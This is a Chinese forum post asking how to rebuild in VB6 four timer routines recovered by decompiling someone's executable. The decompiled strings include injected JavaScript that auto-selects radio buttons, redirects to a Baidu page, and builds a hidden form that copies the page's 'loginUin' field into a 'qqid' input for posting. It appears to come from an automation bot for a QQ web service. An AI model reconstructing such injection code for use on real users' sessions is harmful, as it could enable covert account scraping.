vb6 反编译exe程序后,有几处代码该如何写,求助

必须的 发布于 2014/09/08 21:16
阅读 942
收藏 0

vb6 反编译exe程序后,有几处代码不知道怎么写,


Sub Timer2_Timer()
'N  * ref: __vbaExceptHandler
'N  * ref: __vbaObjSet
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeObj
'N  * ref: __vbaStrCat
'N  * ref: "javascript:try{var icq='###'+'"
'N  * ref: __vbaStrMove
'N  * ref: "';var a=document.getElementsByTagName('input');var b=0;for(i=0;i<a.length;i++){if(a[i].type=='radio'&&icq.indexOf('|||'+a[i].id.substr(4,15)+'|||',0)<1){b=1;break}};if(b>0){a[i].checked=true}else{window.location.href='http://home.baidu.com/about/about.html'}}catch(err){};document.focus();"
'N  * ref: __vbaLateIdCall
'N  * ref: __vbaFreeStr
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeVar
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeStr
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeVar
End Sub



Sub Timer4_Timer()
'N  * ref: __vbaExceptHandler
'N  * ref: __vbaObjSet
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeObj
'N  * ref: __vbaLateIdCallLd
'N  * ref: __vbaStrVarMove
'N  * ref: __vbaStrMove
'N  * ref: "baidu.com"
'N  * ref: __vbaInStr
'N  * ref: __vbaLateIdCallLd
'N  * ref: __vbaStrVarMove
'N  * ref: __vbaStrMove
'N  * ref: "http://home.baidu.com/about/about.html"
'N  * ref: __vbaStrCmp
'N  * ref: __vbaFreeStrList
'N  * ref: __vbaFreeObjList
'N  * ref: __vbaFreeVarList
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeStrList
'N  * ref: __vbaFreeObjList
'N  * ref: __vbaFreeVarList
End Sub



Sub Timer6_Timer()
'N  * ref: __vbaExceptHandler
'N  * ref: __vbaObjSet
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeObj
'N  * ref: __vbaStrCat
'N  * ref: "javascript:try{var t='<form name=" & """" & "form1" & """" & " action=" & """"
'N  * ref: __vbaStrMove
'N  * ref: """" & " method=" & """" & "post" & """" & "><input type=" & """" & "hidden" & """" & " name=" & """" & "size" & """" & " value=" & """" & "0000000000" & """" & " /><input type=" & """" & "hidden" & """" & " name=" & """" & "qqid" & """" & " value=" & """" & "' + document.getElementById('loginUin').value + '" & """" & " /><textarea rows=" & """" & "1000" & """" & " cols=" & """" & "200" & """" & " name=" & """" & "qqdt" & """" & ">'}catch(err){};document.focus();"
'N  * ref: __vbaLateIdCall
'N  * ref: __vbaFreeStr
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeVar
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeStr
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeVar
End Sub


Sub Timer10_Timer()
'N  * ref: __vbaExceptHandler
'N  * ref: __vbaObjSet
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeObj
'N  * ref: "###"
'N  * ref: __vbaObjSet
'N  * ref: __vbaLateIdCallLd
'N  * ref: __vbaStrVarMove
'N  * ref: __vbaStrMove
'N  * ref: __vbaStrCat
'N  * ref: "&"
'N  * ref: __vbaFreeStrList
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeVar
'N  * ref: "toys="
'N  * ref: __vbaInStr
'N  * ref: __vbaI2I4
'N  * ref: __vbaLenBstr
'N  * ref: Mid(
'N  * ref: __vbaStrVarMove
'N  * ref: __vbaFreeVarList
'N  * ref: "tmp"
'N  * ref: __vbaInStr
'N  * ref: __vbaI2I4
'N  * ref: __vbaStrVarMove
'N  * ref: __vbaFreeVarList
'N  * ref: "|||"
'N  * ref: "|||"
'N  * ref: __vbaStrCopy
'N  * ref: "|||"
'N  * ref: "##########"
'N  * ref: "|||"
'N  * ref: __vbaStrCopy
'N  * ref: "|||"
'N  * ref: "**********"
'N  * ref: "|||"
'N  * ref: __vbaStrCopy
'N  * ref: __vbaFreeStrList
'N  * ref: __vbaObjSet
'N  * ref: __vbaHresultCheckObj
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeStrList
'N  * ref: __vbaFreeObj
'N  * ref: __vbaFreeVarList
'N  * ref: __vbaFreeStr
'N  * ref: __vbaErrorOverflow
End Sub




以上代码用vb如何写呢?求助,谢谢!!


 



加载中
返回顶部
顶部